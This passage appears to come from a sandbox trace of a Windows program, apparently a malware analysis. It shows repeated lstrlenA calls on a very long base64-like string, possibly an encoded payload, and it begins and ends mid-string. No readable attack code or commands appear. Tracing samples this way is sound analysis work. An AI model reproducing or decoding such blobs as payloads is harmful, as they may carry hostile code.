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") returned 5792 [0128.362] lstrlenA (lpString="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") returned 5792 [0128.362] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KWIpjgJt27RyX2fZTVqhxd1fkRh1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUJ/+SN0smfGv03bTcrjcA+QPBPQdz0Ga/5kKcBQBcJvqiz1kGYVxNSJgV3ZYz+ycuV4yfhg/F8OJFlaTRfotvPyVoBT6L4EvW6wLm56I8J1ewra46LNmiyIp1LLtFvVNfCmoZz7l6Mcz0UboWgtKxq3zFCRnmh5BWYOg1Gr2CjeV2GGXHPnLiafXptLDRbp7K+f7c2FXdj1T0euSXFvz8jKRlW6eiuuR1EYZuJdnHDIAlZKhTotgoFLGrsr5yCGg6J5+KaNeCEQ18DNCargANkJuqdiGSoVQuv3lyKi3mUjTYins9w6xLz2HvYczyRRnQxdRjnD1T94fe2IYRq4vDVsjDDMklXza/m5c2HtwVzc+JR39oZ9QD9O4UyGn/9434wg/tHbejo/TsiP9/TxcMLDcIY8C0GSvTm4i/67LRtotkktBeWJXKwSJPQAcNCtbiY37If9/tFNUgJ7xln/0EeguBl+mG6Cw8m8ZyvECKyF+N1IlW0hBjQfeoUHRQUqZCfNLuCG8wSg0uLyuz3aW/37wXtHnlMq0vWIIOaPuqeNDXs82bvKXpoKRmVrolZxBnmOthOcn4U/tEX8qh4Ku5r2GvOxI8E9B1KAkJ6cURKbp9MqxybzBONVQSIr/TflDhuVFT1lrC+dZqvg94+lhHHDv+8Zkv/vBmuupHXbAps1SRttGfVTHB/W+fppkh0k9QX6+XC/2EVI8IO3McPkydOccTE0DxzvA3s9hk7UuLO2AJUpaV6vtxLhkFm8qgOur8sdlNzYcENBFf5sPJou+My4kO1YdJI1wSwBE+WjWmHKSRVmPk9gIdYNj+PdcXAEua+VJq/oWFscUn7mat2gWMj1x/N3ssVLZ6xtOz56lw8ENqizym+rJ36TUjBDNHyKoivVj2757CCpY8NXHKnxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZLx8nW2fmvF4h9zs1HQ1nNlFP3L3dKoFYA4zMMv7hg4XFocI7NP3+fE697T/S5igTjvHF1wzYdL6YJch6feVeY88Yti33n/meLgq34H/Jut/HgZe+VWN/PwO11Jz0YUmkVp9AeAxZQXGE+OIMOY0r6TDp/N1Vcq305LXXlSQayDS2gSqqtFDpofSeO8TDUL//YK9yGT7zkFNKWUKuT9sess5SxvrfzoKtOqk6m4Y3aH1qmjDVGPLPjXzYW6XBytXgCfWxI+kyrHZDOx7e/+9KtPMG4p2L2yUmEWBMxqpZVOIuwAlSU08m2PRQ62/ZA1NKF5cKIb93yHCqKRLFtJC5liMy3lzeiTIXmIBiKzTLITNEhL+YVk2lxNVwJHLwT8QAV9ILxzt0IAL8vGkoZ24e+F22DG4QyPSeHfVSBVlO/ElQ0yZwBluOwDRKFOLZy49gktPmIuAS/JyQ5wIgNxPQqDLSmlhKJHVSo9Ugj5pnaZZrr1Wn4tJRskxHp246TrvbMMAWlKRQw+kK+0QcGMMytqfXRbZe4HRKyij9M2UrgDEqON8/KRoeUi8Dwbm7MBZOAwOayoHafCXrUnkoai3bfNJ31v5W33+lfNXGYh87PpqQ6iztsMnH3iVcl3Asp/4VA8d18u+y8enTBtp2PhYVTHgBXgcHe+ekrTbBU1qbzH3ZxAtm8gidioiqRfNYnf3m84y+S0WdG0r9JMK6GdrfPfNpKGNFvUVSyZvu0Zo4NOXLX1QS3ddo5b6apBb/zmK7vnKpTd6pYtC4QrwPM7SGQTcqLky7+qVo2wSjRM6wz3h6ZrvJAHo1QAXBiUEda+OgL2HfIGrNA45iVfJsoeGDdDYzmmJb9cYzlqCVonC/eprhqeCEnfde/HGgfZ5n6CCZWiEUrXuIrbaxmE3c6ZbEObKD7Wbwz8AlM7p3XNUKICWYt8kypvG1bnZRS0hKmpfIv+ghDwg3PyYrVKr2DmGk+Wjt9tOk+ULdSrkpXJTZTUTRODsxBSL6fy1PgL22xoH8b/b5503Wny8hV2I3eclxqEgh30gA0XUMeEnq6Dh/EJMN6E6Nva6u/jc/djVAs44U6OQ2STos/Nw7NfyhtuX84V4+RjfbOPGPhaTh6mia8m9ZVIyacY+gW/c8FCEi82+5+/kX/VAbhMxak0tLFEolICkZfOyIVHLY7UK/R2lpAODIBoR990pcyeBAj+UI6tdop0kGvI1NDl4QphhZW37C8ar3rV5FWqR7vVWxa25zPi7cfg/CdM/p/AZKqVB13cDR+TmfswJNq6LTmulSTqMl4QTwg2UWKRFlK0vdonIJu7ib2+zagAXTTFRn6M6Yj6HlDC3RF3y70Dj+IpePspwU6EX8KovH4rUfbwg9jMGmZu/43LG5ACzKDMW8lQ3bdcEzL4Fmy5tSYi9RlQS01h9sXHcJUougvsRAg4aByn4QXBsCA5YQt78BXZidfh2+4xMHbLMOCxl9LS4Y8yEzGqMJM2LKUNE5oUeSmcdF7HHJN+r7BuRJYoiQTxc1t3MqOTjJ7OQCAReUOhAOd0YQvpLSFcVFHgxfgHX2HmiUuvnZjXjUPxrOLDwCWpIyd7ZaVAbQw0rKPGcuFYGtSfv7ihvQZmzlBm4mdDOaFOErQ8cDHvb32QZ2Z3hNQuF0NnvoGNkpoiAIknxYXiwza5DmR0NUwD2j73gXKcqTnhiONdAZtK8bylX1PJk9B7fnnjsoQRa5WglIHBfyBwEw9wjxE5iUWrnV0b6hgMAfAoAo3A2VJpLca2Z6kJMRPF0NtRBDFVNcOH0CQ5LcoGCBpYenEIWS5oDfEzb1gcayD07ZZaySZBDNQMaM8X6REHUgnHBZn4Xm6jkrFwpKARvyjahsOsV+ZozgeCw2ju9OoquH8csJxdRucgPmB5dSHescgmSeeYcozxP3wIv6r9Hwg2i/KobEfbzf5opOyS9X/8G/vMfwczi+WaiNTK0M13uB805OlqfIzuxo0c9Xfra5VL5D9UnX8FEcr4z3aN66RMFwHgviNxAVLAlLqTvobs3THM4fqsjLRfjCbGONkMiREB7caOSlA2GVZQOAmraAsOSvPvjaFn5+KWCFnXftNibVsBd3GY3wgaQm9RQU4HFKq8XxWSgRMzdtK35dje7e+FJ5QEwCmrxzLbPuEbiwYJNzyp+Kub2Uemty4OC+9FR2yQOG1m646tcNMCZIPf2hP5dxIp2LpWqMAHGWXceedFvz7mQgkNMo3S/HhKz+/p6ldkwTs9CObAL3cI9rmPN9N6olBDi7Z1Z2XTObji6jlWrUM0dvQsEYXeUutMh3BVwXPmteiGBNUqg07OOra+bHETc2mHIiJCXRuK4ASsAPbBtSHKBLvOe/xQCeLspGViryIozpXOUeiKrwF81Yr5RyMQHKGriYOTB1rdJ/lO6b//EYq/plvQipuG2RXdy4OkXugvZ4m7YHTnAqWV3oSefx3BWalWGBNaz/yW1DstGgWamEcUpCUyMboBWdlSQdhlLKyrVdB/u2I+DfOTxgPiTAeeK9U9M/02vxaiMlTdBb9fzTXk53hkg9yqqN8l6XKEoUnQWfd5FcMNwW8OWHViHpLDWVm+98jvU5uwcmXwPnel1Fvf5R9A/64U3RuGroumyk+H+fk2SVe/d/m+GlsISY9AyD/YtCutm2FR3rmCccOmL2HgqpYzjGEgzQax8t9eBNAYj4NLUOzD0o2+E8O66JcKAS49y4tZsgwk0m1NzXXfw+3Jk1Cewh6k5QQtNQKEiLse4uDogihI0VFkYiaAfZuOW10IeH2elk7QXxlqOjf+W2wRyprHC316Kut2KHxtGy4EK93jKVGvN1uepe/6gSX0jpZw+lVZ+ltK7s2XEU8DXZMO5fTct8tEdK35XMk8MzzlCcSwgAVH07Xir9qSesfvKHl157zcfRDpRH98EkbJfVDBiV8s1AW6xOtbrnYrZsrkPFN+nkeCsFVk7/NSXHelph0K8pEiXhD8I+FbmfG799waoJQ3NFh6kWsAADwTn1zQn7XIzF2Riot/53OWrajeYHvcxqkkme2W9DeUlmWl+G4gDVr2dWoXpPEG/oPKUWaSGb6nJMdqAXtX7jYiFcuCI1T31KwT8D2QMTl5+YE3vo8/AZk2f7GWkYGy8d3JqEt2S12vK3xrwc8FgBi4UQspTpF+yjU/LOJkPOfiuvIdtRJJqskQHA4udnv9zIkKjy9C9Pjw8CuzTNalGRoD513nygF1ajdNKhfbUSN1ggWH72Q/j1bWd0iGETK1kqo0e1AEqTVHc0wMFvEcRbecAQjZCSolAnNmNBzuC2wfV+e2TDBj4+snFpqxe2M8LCM3LXw019UU01Gs0fyXzEu2sWgGWPdCtq8P1xkSWe5Q8VSairsokftiH1TSbYOnIY+